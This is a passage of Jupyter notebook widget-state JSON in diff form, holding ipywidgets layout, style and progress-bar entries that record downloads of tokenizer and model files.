"", + "description_tooltip": null, + "layout": "IPY_MODEL_15ce5867e9ba470b94f0408cfa8236ad", + "placeholder": "​", + "style": "IPY_MODEL_ee848051813f401c958c169f8b77a323", + "value": " 920/920 [00:00<00:00, 61.2kB/s]" + } + }, + "d0c00b0f105741f9a155e941dd5d704f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d14a6ce3bc334df5a2f319932fd9a338": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_05ba62113d1840c38f0bcf8f291f7439", + "IPY_MODEL_117ca4fd09bb4ebeb8eae3ba5c3112f5", + "IPY_MODEL_b2fad15effb84bce8aac9b9d2bf94b19" + ], + "layout": "IPY_MODEL_78493887a0f5466cbfe8dff7f5fbd801" + } + }, + "d16de73052ac42e8a8065d4dc54ebe51": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d2324949415f4df2a964046b326231a4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d2a03fa596c34b12a1aed264e8d08077": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_cd4f33b831ff4bd4afabbdec87b9bc8d", + "max": 547, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_79b1b7bd05714b528d9a617b1c875dfe", + "value": 547 + } + }, + "d2b243b82d0641bc82bcc9500059043d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d3010a25994f4f12b95922f2863f4f3b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d44b6d406224497d9db5c903c6972323": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d4b746bc99074570a82175ef438cfb10": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d4c261dab25d405ba560d4626683bccb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d4c98d8a36eb4f769e23aa3f36535a0f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_15de6a583c5e4525a559749577fd4331", + "max": 372, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_4af5ce87c2a243238375d7edf93d08b2", + "value": 372 + } + }, + "d504edae2a2f4beb851928ca770b2701": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "d50a15bbc94f49c39941bacd8c7b99ba": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d5b65c5e85704b02be5a0fa2ab7569fa": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d6a728463cce43d2a0c8573e5faf2dde": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d84093973fe84b06bb05f125ab7a11bb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d8424b9018444e088fe5908db8a9db12": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_16e7c873157c444bb0ca1b92e85b4701", + "placeholder": "​", + "style": "IPY_MODEL_4f4bfc7bd24148e6ac524b57cc6d8020", + "value": "Downloading (…)tokenizer/merges.txt: 100%" + } + }, + "d923cb2715554512a7faf5b5d73a4ed8": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d95e3f841d4f4f278fb3adae0b11d4c3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_ee9448f0b9964d8fad850501e08e3c84", + "IPY_MODEL_485caac1aa1641a3b31827620ddfa3e4", + "IPY_MODEL_55fe364a57aa4eaa93cb93b889d241c5" + ], + "layout": "IPY_MODEL_3deaa7c9f0c940c3af3b9a7c5d0c8de4" + } + }, + "dab4d54863e24f169f18999da88be46f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "db3e2ef136864292b6cc51ede3713a4d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_554525ce609044b68804e97c6b45c510", + "IPY_MODEL_97dfae674a3b415d9015760abea61968", + "IPY_MODEL_e4394ac60eef460e8f37fac24327ab77" + ], + "layout": "IPY_MODEL_ffd1b0965ac748a3857a947c94e192dc" + } + }, + "db6ac9519e6a438ebca23446b0f2a4aa": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_52a201ace1f647059d93e5d9406afee5", + "placeholder": "​", + "style": "IPY_MODEL_43820ed672c04bbf80155b25c4e4de15", + "value": " 806/806 [00:00<00:00, 7.74kB/s]" + } + }, + "dc495adaeb53477d903ce952060e4f3f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "dd66e37aec9449de944edfa6dacdfc5f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "dd81ef8c35384eadb1572400c775f789": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dd9945400a2c413589af32550427f92d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dddba90edf87434aa404eea38eaa63f2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_32bb55abea4f4ea2a7ea8a28a45eeb16", + "placeholder": "​", + "style": "IPY_MODEL_90d2a57096964b7a9e2aef14ec54e2a7", + "value": " 1.06M/1.06M [00:00<00:00, 5.14MB/s]" + } + }, + "dde9a4c3dd824b6f8345b29f2a28ef5f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_6da0c63935ac4ee4bfe6a6efbedfa93d", + "IPY_MODEL_42109c92a03c45cabd7fbb0cc7cf1c4a", + "IPY_MODEL_db6ac9519e6a438ebca23446b0f2a4aa" + ], + "layout": "IPY_MODEL_8adb835bb80941dfa3e21c9dac93d793" + } + }, + "de80e8cbbd25433c88267a1f997772e7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "df65632706474b4d903b8f6f72438166": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_99836b0d3c5241f99260cd642081c31f", + "placeholder": "​", + "style": "IPY_MODEL_99c6d5162b2d41b6b3d260f4b2c99b9b", + "value": " 308/308 [00:00<00:00, 7.38kB/s]" + } + }, + "dffc9bcfd178487e93b34f91eae3b8e8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6ea8901001af4f2aa0039b18f5e758a4", + "placeholder": "​", + "style": "IPY_MODEL_ecc46cbc78fe4d9f8af50970839d3891", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "e060cf453034447dba6af95a918e3092": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e11151541738459ba16b582a9edefd2c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b74532a8bd8e49f2a8286a1eed72a0d3", + "placeholder": "​", + "style": "IPY_MODEL_dd66e37aec9449de944edfa6dacdfc5f", + "value": " 9.88k/9.88k [00:00<00:00, 186kB/s]" + } + }, + "e116ebfa368d424ca64eea23a82ef959": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e16487cbe8d74b5baad0d41dbdeeedbb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e1877e0c82a1464597250ef0572d2679": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e19591097be54f3d954a75bf14968b46": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_f92c9532d4644693831a67344d499ff5", + "IPY_MODEL_a283d06ba73a4fc98e18e7080e794edf", + "IPY_MODEL_5837463f803c4c93b91a21d9854ae574" + ], + "layout": "IPY_MODEL_ca5bf86a004a45a6ae2067fdc6eef091" + } + }, + "e20f4ef3c100484cae5ba0a570be604c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e2eaf1b78df545feb426d75ec556f8a3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e38139b6898e4897b67aac89ee982c7a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e39e7bf535fb4492ae9ac75591e79287": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e3b2deb57c0644dcbf97297abf22f91c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + 